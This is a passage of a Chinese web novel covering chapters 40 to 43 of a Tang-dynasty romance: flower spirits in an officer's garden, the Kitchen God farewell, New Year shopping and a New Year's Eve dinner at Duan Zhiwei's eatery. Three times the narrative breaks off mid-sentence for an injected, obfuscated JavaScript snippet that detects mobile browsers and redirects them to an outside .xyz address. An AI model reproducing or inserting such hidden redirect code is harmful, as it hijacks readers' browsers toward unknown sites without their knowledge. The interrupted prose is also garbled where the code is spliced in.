她吃得开心，正准备招呼海迪耶一起吃，刚抬头看到海迪耶施施然往后院去了，只蓝色头纱的一角在风中飘摇。 这不待邀请便跑去主家后花园也太失礼了，被袁慎己看到得怎么想？ 段知微赶紧跑去后院找她，这花妖溜得还挺快，一下子穿过了蜿蜒曲折的回廊到了花园，段知微只好硬着头皮也跑到了袁府的花园。 只见十来个绝色美人聚在袁府花园中，满座芳香四溢，香气袭人，这些美人或歪坐在食案前饮酒行酒令，或靠在水榭低头观赏池塘的锦鲤，真是好不热闹。 段知微看得目瞪口呆，心下不觉十分气恼想：“好你个袁慎己，我还觉着你难得是位正人君子，倒是艳福不浅，在这后院竟有十来位美人，早知道就该让你躺在凉州城外不救你了。” 这么一想，她竟是回头要走，正好跟匆匆回府的袁慎己撞了个正着，她气恼非常，只微微福了下身，也不与他答话，冷着脸就要侧身绕过他离开。 被袁慎己一下抓住她的胳膊道：“这是怎么了？某做了何事惹段娘子生气了吗？” 段知微冷笑一声道：“袁都尉好福气，院中有十来位美人，竟然还有大食国来的美人思慕于你，妾身送人过来，完成任务了，这厢便回去了。” 她挣扎要走，却被袁慎己一下圈在红柱子旁，他身形高大，也不计较她的无礼，甚至颇带了些笑意望她：“这府中只有袁某与管家、老仆三人，何来十来位绝色美人？莫不是段娘子多贪了几杯酒说起胡话来？” 若真有这事儿，御史台的弹劾折子怕是要将他淹没了。 段知微见这人不见棺材不落泪，手一抬指了指后院：“那你亲自去看看呗。” 她又准备走，却又被袁慎己拉住：“娘子随某一同过去。” 段知微被迫被他拉着走，边走边想把胳膊从他手中抽出来，只不过这武将真是颇有些本事，牢牢拉住她的胳膊。 二人到了后院，那十来位美人还在饮酒作乐，段知微斜睨他，看他还有何话说。 却见袁慎己脸色一沉，而后怒吼一声：“你们是何人？” 41. 第四十一章 腊月倒计时与送灶王 却说袁慎己在看到一后院的美人后，倒是没有被人戳穿的窘迫，表情却是瞬间冷了下来，紧紧抿着的下颌骨像那把锋利的寒刀，浑身散发着冷硬的戾气。 就好像那些并不是花容月貌的美人，而是企图侵犯边疆的突厥士兵。 那群美人听见声响霎时都看了过来。 疑是洛川神女作，画裙香凤郁金香。满庭繁复的异域香气搞得人头晕脑胀，段知微定睛一看才发现，这其中还有异域美人，其中一位身着粉色纱丽和绿色晶亮披肩的天竺女郎尤其明显，古铜色的肌肤，乌黑靓丽的头发，望像段知微的眼神像神秘的琥珀。 只怕是圣人的后宫都没此等阵容，段知微悄悄撇撇嘴。 却见一身着鹅黄轻纱襦裙，梳着高耸回鹄髻的明艳女郎施施然走过来福了福身子道：“这位将军莫生气，妾身名唤姚黄，我等来此只是为帮好友寻访一位亲人。” “姚黄？”段知微惊呼，她想起花肆肆主大力推荐给她的那盆品相虽不佳但要卖半贯钱的洛阳牡丹。 而后悄悄垫起脚跟袁慎己咬耳朵：“这些是花妖啊。” 姚黄娇羞提起袖子半遮面道：“唉，妾身品相不佳，实在不堪出现在人前。” 段知微望一眼她倾城的相貌沉默了，几人一时无话。 还是袁慎己先打破了沉默，他看上去余怒未消，沉声道：“袁某院中怎会有你们的故人？” 段知微在一旁小声嘀咕着说风凉话：“那可不一定，万一袁都尉效仿武帝金屋藏娇什么的......” 正说着，海迪耶捧着一盆蓝色蔷薇抹着眼泪到了□□，跟众位女郎讲：“找到她了。” 这盆蔷薇花用着贵重的墨玉花盆，一看就价值不菲，但是那蓝色蔷薇似乎没进行过精心打理，叶子有些微枯黄，花朵也蔫搭在盆中，堪堪就要枯萎。 海迪耶慎重双手交叉向袁慎己行上一礼道：“不知这位将军可否允许妾身将自家妹妹带走养伤。” 段知微很惊讶：“这花是你妹妹？” 海迪耶这才道出实情，大食盛产蔷薇水，采集大朵蔷薇蒸花取液后以琉璃瓶装之，这玩意很是稀有，每年万朝来贡时，会向我朝进贡十五瓶。 海迪耶姐妹生长于大食沙漠的一座花架上，是百年难得的幽蓝色蔷薇，制成蔷薇水未免过于浪费，因此花匠将这两朵双生蓝色蔷薇摘下精心培育 绮殿千寻，万国来朝的长安，不知多少胡商蕃客，将波斯的织锦、南海的珍珠竞相往长安城里头运。 海迪耶姐妹作为珍宝也未能逃脱这样的命运，她们跟随一队胡商在沙漠漂泊了几个月，终于在冬至朝会前抵达煌煌长安。 这两盆稀有的蓝色蔷薇花，一盆在冬至节赏赐到了最近深得圣宠的国舅府，因海迪耶已成气候，每逢夜半便会哀哀哭泣，因此国舅府就把此花送到了花肆中，令肆主自行处置。 另一盆赏赐给了在冬猎里拔得头筹，最是骁勇善战的武将。 段知微懂了，奈何这武将不知怜香惜玉，不懂风雅事。就在寒冬腊月就把这娇贵之花往花园随意一放，全靠年迈老仆每天浇上些水，能不枯萎已经算其命大。 袁慎己也不想仅仅一盆花竟然有这曲折故事，见那花确实有枯萎之相，当下便有些理亏，只得道：“既如此，此花便物归原主了。” 群花齐齐向着他道谢行礼，而后散去，段知微见一粉色襦裙女子清冷孤傲，又绘着梅花妆，便知是梅花妖；而那满是清雅香气的，那应该是茉莉花...... 她实在对那天竺女郎好奇，便拉着姚黄一问，姚黄莞尔：“那位名唤芬陀利华的热情女郎啊，可真得好好感谢她......帮助我们在大明宫打探蓝蔷薇的消息，又自太液池通过层层巡防赶来此处相聚可不容易啊......那恒河中的白莲花。” 众人散去，花园只剩袁慎己和段知微二人。 段知微想起刚刚在连廊里遇到袁慎己，自己态度不太好，这下只剩自己跟他，甚觉尴尬，只福了福身，绕到他背后准备溜走。 却听得一句：“段娘子留步。” 段知微心知溜不掉了，只得对自己不佳的态度准备道歉：“妾心知袁都尉决计不是那等好色之......” 话未说完，袁慎己疾步离开走进一间厢房，而后又匆匆出来，递给她一琉璃瓶：“这瓶也是冬至宫中赐下的大食蔷薇水，送给段娘子。” 这琉璃瓶呈现隋绿色，澄澈如冰晶玉润，里头的蔷薇水用蜜蜡封之，刚刚听海迪耶讲，大食每年只得十来瓶，此等贵重物品，段知微怎么好意思收下，刚要推拒，又听袁慎己说道： “听闻宫中贵妃以此水调和香粉，袁某府中并无女眷，生母又早逝，感念段娘子总是容某在食肆里用饭，此乃谢礼，望娘子不要推拒。” 他说得极其诚恳，又提及生母早逝，段知微莫名觉得有些心疼，只得道谢把琉璃瓶放入自己的斜跨小包里。 袁慎己见她收下，露出一个浅笑。 已然是腊月寒冬，段知微见袁府如此寒寂，只他一人，不免抬起头问：“除夕之夜，都尉可愿来食肆一起用暮食？若是晚了过了宵禁，我们可以聚在厅堂里一起守岁？” 她的脸被冬风吹得得微微发红，自是不若梅花妖精心打扮的梅花妆妖娆，但袁慎己却觉可爱极了，似乎是怕吓到她，因此低声说一句：“好。” 老管家殷勤过来给段知微牵驴车，送她出门，段知微也邀请老管家小年夜一起来用暮食，岂料老管家拒绝道：“老朽这把老骨头，不爱出远门，感谢娘子邀请。” 他笑得朴实，又慈爱地望段知微一眼道：“还望段娘子常来袁府。” 段知微只好点头应是，心里却想，自己一个商户之女，若非特别必要，成日往四品大员的府邸跑也不成个样子啊。 她上了驴车，礼貌跟老管家道别。 老管家叉手向她施礼道：“娘子千万要常来啊，老朽好久没见都尉笑这么开心了。” 段知微一个踉跄，差点从驴车上栽倒。 这都到古代了，怎么还能听到“少爷好久都没笑这么开心”的古代版？ 还未走到食肆门口，就见蒲桃和另外几个小女郎在寒冬腊月的小巷一起在追卖饧糖的小商贩。 段知微这才想起，岁寒之际，正是饧糖上市的时节。 盖因此糖是以麦芽小火炖煮融化熬煎而成，制成一个个橙亮的糖块，夏日很快就会融化，只此只有在冬时，这糖才会贩卖。 段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711913|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知微在现代吃过这糖的进阶版，名为“葱糖”，也就是将白糖、麦芽糖、水和花生油混合一起熬煮成饴，呈现细管长条状。这糖极白无渣，入口酥融若沃雪。 还有糖葱薄饼的吃法，就在薄饼中放入葱糖，再撒上芝麻和花生包在一起吃。 听闻还有放香菜、咸菜之类的吃法，不过这种段知微就敬谢不敏了。 蒲桃跟小伙伴追了几条街终于还是追上了那卖饴糖的小商贩，商贩敲两下锣鼓，开始给几个小女郎分糖。 蒲桃得了一块吃得开心，一扭头看到段知微坐驴车上望她，立刻拿着糖跑过来：“娘子你回来啦！” 段知微把她抱上驴车，带着蒲桃一起回家，这孩子果然胖了，段知微干活练得一手好臂力，抱她的腰还是吃力。 只不过看着蒲桃开心吃饧糖的模样，段知微想，算了，小孩子嘛，开心最重要。 腊月二十四需夜送灶神，对于以灶为生的食肆来讲，送灶神是格外大的一件习俗，饶是段知微这等接受了现代思想的人，也不得不重视起来。 一大早段知微便老老实实将火房灶台清洗个几遍。阿盘和蒲桃拿了个小胡床坐在太阳下折元宝。甄回也想加入，无奈那双手写字算账可以，折元宝折得歪七扭八，在遭受妇女们的一阵嘲笑后，红着脸也去清洗灶台了。 段大娘一大早去东市排队买回了胶牙饧。这糖又称糖元宝，蒲桃最爱这种糖，立刻就撤了手上的活，伸手拿来吃。 这回段大娘大方了一回，买的较贵的那种花饧，里头加了花生碎，饴糖粘牙，花生焦脆，吃得蒲桃满口生香。 本来这种胶牙饧段知微也可自己做，架不住熬起麦芽糖费时费劲，又卖不出什么花样，她果断选择了放弃。 段知微做了些谢灶团，既给自己拜灶神用，又可以卖给别人，这馅有猪肉的、萝卜丝的还有豆沙的，腊月冷，食物易于保存，就搁在井边上拿纱网布一罩，能吃上半个月。 据说今日是灶王爷上天之日，会言人过失，需要用胶牙饧封住灶神的嘴，段知微刚端起那盘糖，就被段大娘阻止道：“这怎么能由你来给灶王爷封住嘴巴呢，去把甄回喊过来。” 听说是有“妇女不得预”的风俗，段知微颇觉不满，但是又转念一想，这灶王爷是男君，想来是因为男女有别，也就罢了。 甄回拿起糖封了灶神爷的嘴，香火香炉、谢灶团、饺子等贡品已经在灶神像的香案前摆好。 段大娘将酒撒在灶王爷画像前，带领食肆众人跪拜下来，嘴里念着“上界言好事，下界保平安。” 而后恭恭敬敬磕了几个头。 将旧的灶王爷画像跟折好的金元宝一起在红烛上点燃，再放入铜盆中焚化。此刻已然是过了宵禁了，按照平常来讲宣阳坊已经陷入无边的暗夜之中。 但是各家都在送灶王爷，焚化金银元宝，每家院子都透出隐隐火光来，将这长安的夜幕直接照成个烟焰烛天，灿如彩霞满天。 众人皆一脸虔诚，段大娘双手合十，仍然嘴里念叨着“下界保平安”，甄回则是念诵“春闱......”想来愿望应该是跟科考有关。 而段知微凝神望着如同飘满彩霞的夜空，她在想，不知袁慎己是否也在看这片烧红的天呢？ 42. 第四十二章 过了腊月二十五，整个长安年味儿更足了起来，段知微成日蹲在食肆里整治馈春盘、屠苏酒，忙得脚底生风，时不时要被脚底的花盆绊一下。 话说那日自袁府回来以后，段知微向众人说明了情况，段大娘实在气不过，气势汹汹就跑去花肆找那肆主算账，肆主倒是态度很好的立时道了歉，还送了一车的窖花表达了歉意。 于是段大娘带着一车五彩缤纷斜着春意的小桃、郁李、迎春昂首挺胸地回来时，就连街坊邻居都出来围观。 只是天实在寒冷，这些窖花不能摆在后院里吹冷风，只能全部摆在了有温暖火盆的前厅。 前厅满目是香色鲜浓的花色，倒成了段家食肆的一种特色，段知微趁机推出各色花草茶，什么碧玉桃花养颜茶、腊梅花香茶......惹得食客眼花缭乱。 广告打得也很不错，以腊梅甘露做底，收集桃枝上的雪水，风雅有有趣，吸引了不少长安仕女与才子前来饮茶。 唯一的缺点就是花太多了，导致忙碌的段知微总被水仙的花盆绊一下，要不就是被迎春的枝条勾一下衣裳。 再说到屠苏酒，段知微本以为只是一种名为“屠苏”的酒，直接去酒肆买便是，却被段大娘告知，此酒需用绢囊封装上各位中药，在井水中泡上一宿，第二日打出一碗泡过中药的井水与酒混合。 这才能称为屠苏酒。听闻此酒在除夕晚上暖暖煮上一壶饮下，有祛风散邪、延年益寿的功效。 因此即便药肆的桔梗、桂心、防风等药材价格蹭蹭上涨，段知微也少不得为了全家人的健康咬牙买上一包。 馈春盘、年盘之类的便好整治多了，佐不过是些韭菜、云苔的春日时蔬，贵重些的则是豚蹄、青鱼和果品，这玩意儿说复杂也不复杂，就是略显繁琐，许多长安人家不高兴自己在家弄，全靠在食肆订购，前一个月便有食客到段家食肆要求预订豚蹄，据说此物象征着来年“多走动”，十分适合送给亲友。 火房后院中各色风鱼腌肉差不多已经备好，一坛坛瓦罐里则码着蒜冬瓜、腌盐韭并各种鲊类。 想起上回袁慎己送来的一大块鹿肉，也拿出来准备整治，段知微从未吃过这种鹿肉，生怕有如羊肉般的膻味儿，因此这回选择了烟熏。 她在后院特意腾空了一间小库房，把鹿肉悬挂梁间，地上用白松枝儿加上些落叶苔藓点燃，慢慢用烟气熏蒸。 做法不复杂，就是花费的时间极长，因着有火，为了安全还离不得人，食肆几人轮流站在库房前等着，导致那段每个人身上都带着微微的松木烟熏气。 熏了半日，最后段知微觉着到了火候，在大家期待的目光下将那门一开，浓郁的肉香夹杂着烟味一下子蹿了出来。 在本朝，鹿肉很受欢迎，无奈大部分农家没条件养，全靠猎户打猎而后进城卖，因此价格各外昂贵。再加上段知微第一次熏鹿肉就很成功。 这鹿肉表面是漂亮的棕红色，散发浓郁的肉香和烟熏气，勾的食客心痒痒的。于是烟熏鹿肉刚被段知微端着走到前厅时，便有食客上前打听，要出高价买。 段知微拿刀先分了一大块给自家食肆留着，另一块留给袁慎己，剩下的一下午便卖空了。 这鹿肉紧实有嚼劲，烟熏口感风味醇厚，很是好吃，就酒也很好，因此连带着一大坛新丰酒也跟着卖光了，还有食客来的晚了，颇为遗憾地问段知微，这鹿肉是否还会售卖。 段知微只得说自己也不确定。 “那得看袁慎己什么时候再去冬猎了。”她成就感满满，愉快地想。 腊月二十七八，坊市间仍有商贩把小路挤得满满当当，各色南北年货铺满几条街，色鲜果熟食，纸马香烛红通通的一片极是热闹。 段大娘往年都是一个人寡居在通义坊的小店里自己守岁，今时终于有了一群人一起过年，乐得不知怎生是好，总觉得有什么准备的不充分的，于是老是去坊间打转。 一会儿去纸马香烛肆多屯些纸糊元宝，一会儿又拿着食肆的刀去请匠人磨一磨，再回食肆转一圈，再见旧的箕帚不顺眼，拿去丢了买新的。 段知微在食肆里忙着，看着段大娘进进出出，手上拎着抱着一堆无用的东西，便决定给段大娘派个任务，让她去东市取给大家缝制好的新年衣裳。 今年食肆赚了不少铜钱，几位娘子的衣裳都是从云想夹缬里订制的，一个月前几人就去丈量了一番，各自选了喜爱的花色纹样，娘子们都爱美，蒲桃抱着银红色朱雀锦纹布帛不肯撒手，阿盘嘴角也微微上扬。 段知微也就咬牙选了四百文铜钱的中品布帛。 段大娘觉得她这个提议甚好，当下给自己重新盘了个高髻，又插一朵妃色的牡丹绢花，就要拉着段知微去东市。 食客预订的豚蹄还在火上烤着，段知微哪儿抽的开身，断然表示拒绝，岂料段大娘道：“这豚蹄又不复杂，让阿盘来盯着火，你陪我去东市看看还有什么要买的，回头到了除夕各肆都关门了，想买也买不到了。” 段知微颇觉有些道理。 东市也是人头攒动，摩肩接踵，想来自古至今的人们都偏爱红色，整个东市也是各色红灯笼、红炮竹，喜气洋洋的。 段大娘想到蒲桃还小，于是又买了个压岁盘和一双守岁烛。 段知微见东市人挤人，便也知云想夹缬里定然是仕女环绕，结果到了店里，竟然是空无一人，驻店的胡女埃丝特无精打采地来把做好的几件衣裳拿给她们。 段大娘一心扑在做好的衣裳上，美滋滋拿起来一件件观赏，段知微却觉不对，每个肆铺都人流如织，怎么云想夹缬里竟然空无一人。 她小心翼翼看向眼神情沮丧的埃丝特道：“除夕安康啊，埃丝特，今日夹缬生意如何？” 埃丝特眨巴眼睛看段知微两眼，突然像找到知音一样打开了话匣子：“妾的云想夹缬在东市开了十来年，从市尾一小铺子挪到了东市最繁华的地方，靠的是什么？” 不等段知微答话，埃丝特自顾自愤愤然：“自然是靠精美的布帛和绣花，为着能绘出最生动的狮子衔花彩绘，我们特意自敦煌请来了画师......而长安仕女们却看上了那徒有其表的浮光锦，那我们的努力算什么？” 她沉浸在自己的世界里无法自拔，因此待段大娘检查完几套衣裳后，段知微准备拉着她赶紧走人。 不想又被埃丝特叫住问道：“段家娘子生得美貌，选夹缬的品味也极佳，定然不会被那华而不实的浮光锦迷惑，对吧？” 段知微不知道什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711914|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么是浮光锦，却也知道目前最好是顺着埃丝特的话讲，因此疯狂点头：“自然，妾也认为云想夹缬是长安最好的夹缬，不会有什么布帛越了云想夹缬去。” 埃丝特总算是放过了她。 二人捧着包袱出了店，觉着有些口渴，段知微要了一份酸酪，段大娘则是要了一壶椒柏酒。 酒博士向来健谈，因此与她们聊了起来：“东市尾新开了一家布帛店贩了一种名为浮光锦的布帛，听闻世家贵女全跑那儿去订布帛了，胡女埃丝特已经气了这许多日了，二位客官别跟她计较。” 段大娘好奇：“还有这种事儿？想来那布帛定然是自西域过来的吧。” 酒博士摇头：“我也不知，只知那店原来是卖碳柴的，肆主娶了一貌美娘子后，突然就开始贩卖浮光锦了，听闻天气晴朗时，那锦缎在太阳下会浮一层淡淡的彩光，美丽极了，现下似乎一贯钱一匹。” 段大娘念了句佛，对布帛的好奇因“一贯钱”而打消了个干干净净。 更别提段知微了，她对穿什么衣裳首饰没什么兴趣，更不会花一贯钱来买布帛，喝完酸酪便催着段大娘回家，活还没干完呢。 终于到了除夕一早，食肆里众人忙着除尘秽，各种洗刷烹煮。 本朝人会在除夕这日，在食盘中摆上橘子、柿子和柏枝，是为“柏柿橘”，寓意着“百事吉”。 但是水果本就价贵，尤其今年橘子遭了霜寒，尤其昂贵，寻常百姓都选择在绸布绣上柏枝、橘子和柿子，再挂到房梁上，也不过是讨个彩头。 今日食肆已经不再营业了，但是想到隔壁驿站中还有许多为着春闱不能回乡的书生，段知微还是决定暮食多开几桌，把甄回感动的眼泪汪汪。 想到今晚袁慎己也要过来，段知微对年夜饭的菜单认真做了仔细筛选。 首先是凉菜，各色风干鸡鸭鱼切上一盘，舍不得吃的烟熏鹿肉也得自库房梁上拿出来。 腊肉用油煸的脆香，盛上来后油不要倒掉，一竹扁码得整齐的菘菜猪肉馅春卷在等着它。 今日天寒，自然是离不得暖锅，今日段知微特调了香气浓郁的酸汤白肉锅，旁边配着各色蔬菜，冻豆腐粉条和切得薄薄的牛羊肉卷。 顺便一提，虽说本朝宰杀耕牛犯法，但是春节了，老死的、病死的黄牛又悄悄就在坊市间冒了出来，处于一个民不举官不究的情况，不然李白如何写得那句传颂千年的“烹羊宰牛且为乐”？ 更何况，段知微买菜的时候看到长安县县尉家的小荷也往那一排买牛肉呢，于是段知微便也毫无心理负担的买了一斤“老死”的黄牛肉。 因着“年年有余”的吉利话，鱼菜也是个重点，阿盘主动请缨要做一份清蒸桂鱼。 葱条姜花去腥，香菇、火腿排在鱼身之上，用热油淋上一趟，再进蒸笼，听闻此菜讲究火候，阿盘一脸认真蹲在蒸笼前数着时辰，于是段知微也不打扰她，自己回了厅堂。 另一边，袁慎己早餐与几个同僚相约打捶丸，下午准备回府收拾一下前往宣阳坊，却见府前停着好几辆精美华贵的牛车，老管家也不进门，就在瑟瑟寒风里等他。 袁慎己当即沉下了脸色：“他们真的来了？” 老管家颇有些为难的点点头。 43. 第四十三章 温馨年夜饭 由于袁府的两个老仆年纪都比较大，再加上袁慎己本人也对节日不怎么重视，导致袁府也就意思意思换了新的一对桃符，连腊肉都没腌上一块。 此刻袁慎己沉着脸踏入府邸，府中倒是换了幅天地，热闹了起来，连廊中无声无息地走过一排拎着红灯笼的仆妇，见到他，很有规矩的向其行礼，走于最后的一位年纪稍长的妇人笑道：“郎君回来了？已备好了午食，主君和娘子在枕霞阁等着您呢。” 袁慎己对这位自小便在身侧的乳母倒有几分敬重，只微一点头，而后回房卸了明光甲与寒刀，大步往枕霞阁走去。 袁慎己的父亲，袁燮正抱着自己的第二个儿子，袁慎己的继弟二郎，手上拿着朱绳串成的压岁钱逗趣，他的继母林氏则站在一旁嘴角含笑的烹雪煮茶。 真是温馨的一家三口，袁慎己嘴角露出一丝嘲讽，却也并不驳父亲的面子，只叉手为礼道：“慎己见过阿耶。” 袁燮还未说话，倒是林氏放下手中茶碾，笑得娇俏：“大郎回来了，你瞧你这府中毫无半点年味，我已打发了仆妇去东市打些年节酒并茶果、粉丸、糍糕，火房也命庖厨整治了年夜饭，一家人好好过个年。” 袁燮对这位清秀灵动的继妻一向喜爱，听她此话更是颇觉有心，忍不住点点头道：“卿卿有心了。” 袁慎己也不打断她的表演，只待她讲完，双手抱臂道：“不劳费心，袁某今日有地方守岁，就不打扰你们一家团圆了。” 林氏的笑僵在脸上，袁慎己颇有些嘲讽地望她一眼，也不顾父亲的大声训斥，扭头大步走出了枕霞阁。 他快步走到后院，挑选了最快一匹西域马，不顾几个仆妇追过来的阻拦，一扬鞭子离开了。 他还记得母亲在时，这样的雪天，会带着他一起堆雪狮子，把他搂在怀中，哄他吃上一块玉露糕。 而后母亲骤然离世，刚过丧期，阿耶便迫不及待娶了年纪与袁慎己一般大的林氏，他一怒之下便参了军。 家中原先还会来上两封家书，到了后来有了继弟，便是一封也不见了，无论袁慎己因粮草不足饿上三四天，还是遭了突厥的暗箭需要刮骨疗伤，无人知道，也无人在意。 后来有一日，自袁府并各类亲戚的家书又雪花般的飘来。但是袁慎己清楚的知道，这并不是因为谁良心了。 而是他在玉门关外独自一人，不要命的在乱箭齐发之下截断突厥粮道，加了厚重一笔军功。 圣人赞道：“小子颇有卫、霍之风。” 这句话帮助袁慎己一路扶摇直上，也帮他找回了虚假的亲情，即便那亲情他已然不再需要。 今日长安份外寒冷，冬风刮在脸上如刀割般生疼，但是袁慎己却希望这痛感能再强一点，再强一点...... 火房的瓦罐里已经冒出板栗焖鸡的香气，春卷也炸成了黄橙橙而酥脆的模样，段知微拍了拍手，而后着手准备做最后一道甜品。 甜品是一品梅花山药，这甜品不难，就是很有些费时间，要先把山药泥中间掏空，放入豆沙馅。再用山药泥封好口子抹平，切成梅花状，还要把山楂糕切成长条做梅花的枝干。 最后撒上熟莲子和瓜子仁，把白糖水熬成浓浓一锅糖汁浇在山药泥之上，一起上锅蒸。 做完这一切，年夜饭的准备基本就完成了，段知微打上一桶井水细细洗干净手而后来到前厅，食肆几人围坐在火炉边玩状元筹。 这状元筹便是一副比大小的牌，以功名大小排定注数，自然数状元最大，而后是榜眼、探花...... 甄回很快便要参加春闱，为讨个好彩头，求你求她，一定要让他一把。 大家本也有意让一让甄回，却又见他好玩，想逗逗他，皆说必得铁面无私，按照实力取胜，把甄回急得直冒汗。 段知微对这东西不太感兴趣，只坐旁边观了一会儿，又嗑一回瓜子，看了看日头，想着这袁慎己怎么还不来。 许是厅堂的碳烧得太旺了，她有些坐立难安，便打着“前厅燥热”的借口出了食肆，倚靠在柱子向远处眺望。 本就天寒，又是除夕，街上是空无一人，寒风把对面酒肆的幌子一吹还略微有些荒凉，段知微把汤婆子往怀里一揣，在门口蹦跳两下取暖，食肆里头又爆出欢乐的笑声。 待了一会儿，脸上因火炉烘出的红晕也被风吹散了，手脚也由热转凉，她疑心袁慎己今日除夕夜怕是要爽约了。 段知微心中升起一些不满：“真是，不来也不差人来说一下。” 亏她特意整治了好几道费时费力的肉菜。段知微颇有些失落，转身迈进食肆里头，准备把大门板钉上。 远处传来马的嘶鸣声。她下意识抬头，却见袁慎己自远方疾驰而来，到了食肆门口猛地一勒缰绳，随后翻身下马。 段知微忙放下门板，提着裙裾下了台阶迎他，抬头看着他笑道：“都尉可算来了，让人好等。” 想来是为着过年，她今日终于脱掉了平日那身素麻衣裙，换上鹅黄儿夹袄，杏子红裙，鬓边一朵新开的郁李花，越发显得雪肤杏腮，清秀灵动。 袁慎己低头望她，正撞进她一双水汪汪的杏眼中，只觉心中一腔郁郁散了个干净，而后露出个微笑：“是某来迟了，娘子不要见怪。” 他提着一篮子新鲜果儿和段知微一起进了温暖如春的食肆。 过了大半年了，袁慎己不管风吹雨打，几乎每日都到食肆里头报道，这位武官官职不低，又生得高大凌厉，大家一开始多多少少有些怵他，到了后来也就习惯了。 段大娘第一个扔下手中状元筹迎了过来：“都尉来老身这小店，是咱的荣幸，怎么还带礼物过来了。” 说着迫不及待接过袁慎己手中的篮子，低头一瞧，一堆新鲜橘子、荔枝、樱桃等贵重果品在食盒里码的整整齐齐的，立刻笑得合不拢嘴。 阿盘悄悄拍了拍段知微的肩膀，指了指墙角，那里放着一堆芝麻梗和冬青。 据说除夕这日把芝麻梗和冬青挂到檐角，寓意着来年“芝麻开花--节节高”，只不过段家食肆只有低矮的胡床，没有大户人家那种高脚凳，也没提前准备好梯子，一众人轮流着垫脚也没把芝麻梗成功绑到檐上，本来已经准备放弃了。 不过一个“节节高”的名头，不要就不要了，再说了，就算真把芝麻梗绑上去，明年就一定能够节节高了吗？ 但经过阿盘提醒，段知微这才反应过来，现在他们中间围坐了一位身高九尺的武将。 她弯腰跟袁慎己那么一说，他倒是好说话，立时便站了起来走过去拿起芝麻梗，轻轻松松就把芝麻梗绑到了檐角。 费了半天时间都没能成功的食肆众人以及差点闪了腰的段大娘：“......” 见天色一点点往下沉，段知微忙站来：“来来来，准备用年夜饭了。” 显然食肆的长条型食案放不下除夕整治的那么多菜，两个郎君抬了四五张食案拼在一起成了个大方桌子。 暖锅放在最中央，里头奶白色的酸菜白肉汤底在炭炉的作用下不断翻滚，一旁码得整齐的冻豆腐、各色新鲜的牛羊肉和蔬菜任君挑选。 堆在一个攒锦盘子里的各色风鱼腊肉、酥脆的菘菜猪肉春卷、鲜香嫩滑代表年年有余的清蒸桂鱼、浓醇鲜美的栗子闷鸡、清甜不腻的一品梅花山药在食案上摆得满满当当的。 今日段大娘极是大方，亲自去后院捧出一坛竹叶青，兑上些泡了药材的井水便是屠苏酒了。 她给每个人斟上，笑眯眯道：“诸位莫要客气，这是老身藏了好几年的竹叶青，酒香绝对醇正。” 段知微饮上一口，不愧是南北朝的名酒，口感醇香清甜，伴着隐隐的药香气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740422|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上今日的美食大都很适合就酒，一坛竹叶青很快便见了底。 见菜食都用的差不多了，段知微又把冻在井边上、一早便包好的饺子一股脑儿倒进暖锅里一起沸煮。 这饺子包了韭菜鸡蛋的、羊肉大葱的和猪肉白菜的，都是些家常馅料没什么特殊，只不过段知微在其中一个里塞了铜钱，据说谁要是吃到，新的一年便是最幸运的那个。 大人都对此还好，只有一心记挂春闱高中的甄回和小孩儿心性的蒲桃跃跃欲试。 偏巧由于段知微除夕邀请了袁慎己，怕饺子不够吃，特意多包了些，众人都已经放下筷子表示吃不下了，甄回和蒲桃还坐在那发劲把饺子往嘴里塞。 最后这两人也塞不下了，滚圆着肚子往茵褥上头一躺。 饭后众人聚在一起守岁，又玩了回状元筹。 袁慎己不费吹灰之力便抽到了状元的雕花木牌，众人一阵恭喜。 甄回羡慕道：“袁都尉不愧是四品官员，有天子之气庇佑，连运势都比旁人好些。” 段知微接话：“待你春闱高中，只怕运势也能起来。” 甄回红了眼圈，用袖子擦一把泪：“甄某被偷了钱袋，又被驿站肆主赶出来，若不是有幸承蒙各位收留，只怕这寒冬腊月已然冻死在桥洞之下，也不知家中父母如何了。” 众人皆沉默了下来，段大娘忙递给他帕子。 阿盘慢慢饮下一口酒，安慰他道：“父母安在便好，妾身的阿耶娘亲都不在了......” 众人又是一阵沉默。 段大娘脑子转得飞快，为了缓和气氛，赶紧说道：“各位有听过一种名为‘听响卜’的除夕特有占卜方法吗？” 据说除夕之夜万家团聚，若有家庭丈夫远行未归，妻子可在灶前洒扫置香，虔诚祝祷。而后将勺子放入灶中煮满沸水的大锅中，拨勺旋转，按照勺柄方向，抱着镜子出门，遇到的第一个人，他口中的第一句话，便是所祈祷之事的凶吉答案。 段知微听得入神：“这除夕夜路人自然是捡些好听的说啊，哪有那不长眼的，除夕夜说些晦气话。” 大家觉得她说得很有道理，都点头应是。 